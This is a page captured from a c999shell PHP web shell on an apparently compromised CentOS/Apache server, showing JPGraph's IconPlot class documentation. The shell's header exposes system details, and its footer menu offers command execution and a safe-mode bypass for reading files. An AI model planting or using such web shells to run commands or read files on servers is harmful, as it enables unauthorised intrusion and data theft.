Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/jpgraph/docs/ref/ drwxr-xr-x |
Viewing file: IconPlot.html (13.23 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | CLASS IconPlot
(Defined in: jpgraph.php : 7792)
Class usage and Overview Make it possible to add one or several images on top of the background in the graph. This is constructed in the same way as normal plots are created and the images are added as normal with the GRaph::Add() method.
It is possoble to specify arbitrary positions as well as mix (blend) and scaling.
Example:
$icon = new IconPlot('myicon.png',0.5,0.5);
..
$graph->Add($icon);
Class Methods
Description Create a new icon image to be added to the graph. The position can be specified as either absolute coordinates or as fractions of the width and height repsectively.
Scale can be an arbitrary floating point number indicating the scaling of the image.
The mix values specifies (in percent 1-100) how much of the image should be mixed in on top of the background.
Example
Description Specify anchor point for image.
Horizontal anchor can be "left','center','right' and vertical anchor can be 'top','center','bottom'
By default the anchor is the top left corner ('left','top') Example
Description Use one of the country flags as icons
Example $icon->SetCountryFlag('norway',0.1,0.1);
Description Specify mix value in percent (0-100) for image. The mix value can also be specified directly in the constructor IconPlot().
Example
Description Specify position for image. Position can be specified as either absolute coordinates or as fractions of the width and height.
The anchor point in the image can be adjusted with a call to SetAnchor(). By default the anchor point is the top left corner.
See also IconPlot::SetAnchor
Example
Description Set scaling for image. This allows you to adjust the size of the image. Example
|
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0161 ]-- |